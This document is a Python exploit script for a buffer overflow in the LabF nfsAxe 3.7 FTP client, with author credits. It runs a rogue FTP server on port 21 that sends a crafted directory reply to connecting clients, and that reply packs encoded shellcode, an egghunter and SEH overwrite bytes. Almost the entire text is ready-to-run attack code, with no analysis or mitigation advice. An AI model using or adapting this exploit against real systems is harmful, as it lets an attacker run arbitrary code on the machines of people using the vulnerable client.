LabF nfsAxe FTP Client 3.7 Buffer Overflow

`#!/usr/bin/python  
  
print "LabF nfsAxe 3.7 FTP Client Buffer Overflow (SEH)"  
print "Author: Tulpa / tulpa[at]tulpa-security[dot]com"  
  
#Author website: www.tulpa-security.com  
#Author twitter: @tulpa_security  
  
#Tested on Windows Vista x86  
  
import socket  
import sys  
  
#badchars \x00\x10\x0a  
  
buf = ""  
buf += "\xbb\x7e\xbc\x7c\x19\xda\xc2\xd9\x74\x24\xf4\x58\x29"  
buf += "\xc9\xb1\x59\x83\xe8\xfc\x31\x58\x0e\x03\x26\xb2\x9e"  
buf += "\xec\x3e\xf2\x5e\x0f\xbe\x40\x12\x4b\xbe\xa1\xd5\x95"  
buf += "\xc7\xc8\x6f\x9c\x7e\xb7\xdd\x8e\x69\x13\x07\xbf\xae"  
buf += "\x85\x31\xca\x9d\xfd\xaf\xc8\xe6\x8f\x7e\x3f\xf4\xee"  
buf += "\xa6\xdd\x77\xa2\x8e\x27\xb9\xce\xce\x9b\x53\x78\x7c"  
buf += "\xee\x04\xb5\xb0\x20\xfe\xf5\xf8\x3c\xff\x5e\x55\xb4"  
buf += "\x1a\xe9\x08\xc6\x8e\xda\xeb\xa2\xc5\x1a\x87\x6b\xd5"  
buf += "\x97\xe7\x77\x48\x2c\x5f\x80\x79\x3f\xed\xc7\x51\x11"  
buf += "\xbf\x18\x79\x18\xfc\xbe\x92\x0b\x69\x49\x3a\x2d\x83"  
buf += "\x23\xc8\x74\xd0\xc9\xcc\x06\x1f\x37\xb8\xe2\xb1\x6b"  
buf += "\xbf\xdf\xbe\x64\xb3\x20\xc1\x74\x92\xa9\xc5\xfa\xc6"  
buf += "\x41\xf4\xfd\x60\x17\x1b\x91\x6d\x43\x8c\x93\x6c\x6b"  
buf += "\x4c\x6b\x3b\x4b\x1b\xc4\x94\xdc\xe4\xbd\x5d\xb4\x15"  
buf += "\x14\x7d\xb3\x29\xa6\x82\x94\xfa\xa1\x7e\x1b\x27\x23"  
buf += "\xf7\xfd\x4d\x53\x51\x51\x6d\x06\x45\x02\xc2\x56\x20"  
buf += "\xb8\xb3\xfe\x99\x3f\x6e\xef\x94\x02\xf7\x8c\x4a\xd6"  
buf += "\x75\xae\xb6\xe6\x45\xa5\xa3\x51\xb5\x91\x42\xb6\xff"  
buf += "\xa2\x70\x29\x44\xd5\x3c\x6d\x79\xa0\xc0\x49\xc9\x3b"  
buf += "\x44\xb6\x85\xb2\xc8\x92\x45\x48\x74\xff\x75\x06\x24"  
buf += "\xae\x24\xf7\x85\x01\x8e\xa6\x54\x5d\x65\x49\x07\x5e"  
buf += "\xd3\x79\x2e\x41\xb6\x86\xcf\xb3\xb8\x2c\x03\xe3\xb9"  
buf += "\x9a\x57\xf4\x13\x0d\x34\x5f\xca\x1a\x31\x33\xd6\xbc"  
buf += "\xce\x89\x2a\x36\x84\x14\x2b\x49\xce\x9c\x81\x51\x85"  
buf += "\xf9\x35\x63\x72\x1e\x07\x2a\x0f\xd5\xe3\xad\xe1\x27"  
buf += "\x0b\x51\xcc\x87\x5f\x92\xce\x7c\xa7\x22\xc1\x70\xa6"  
buf += "\x63\x36\x78\x93\x17\xec\x69\x91\x06\x67\xcb\x7d\xc8"  
buf += "\x9c\x8a\xf6\xc6\x29\xd8\x53\xcb\xac\x35\xe8\xf7\x25"  
buf += "\xc8\x07\x1c\x3b\xfa\x17\x6a\xd1\xa3\xc9\x30\x7e\x9e"  
buf += "\xfe\xca"  
  
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"  
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"  
  
egg = "w00tw00t"  
  
nseh = "\x90\x90\xEB\x05" #JMP over SEH  
seh = "\xF8\x54\x01\x68" #POP POP RET 680154F8 in WCMDPA10.DLL  
  
buffer = "A" * 100 + egg + "\x90" * 10 + buf + "D" * (9266-len(buf)) + nseh + seh + egghunter + "C" * 576  
  
port = 21  
  
try:  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.bind(("0.0.0.0", port))  
s.listen(5)  
print("[i] Evil FTP server started on port: "+str(port)+"\r\n")  
except:  
print("[!] Failed to bind the server to port: "+str(port)+"\r\n")  
  
while True:  
conn, addr = s.accept()  
conn.send('220 Welcome to your unfriendly FTP server\r\n')  
print(conn.recv(1024))  
conn.send("331 OK\r\n")  
print(conn.recv(1024))  
conn.send('230 OK\r\n')  
print(conn.recv(1024))  
conn.send('220 "'+buffer+'" is current directory\r\n')  
  
`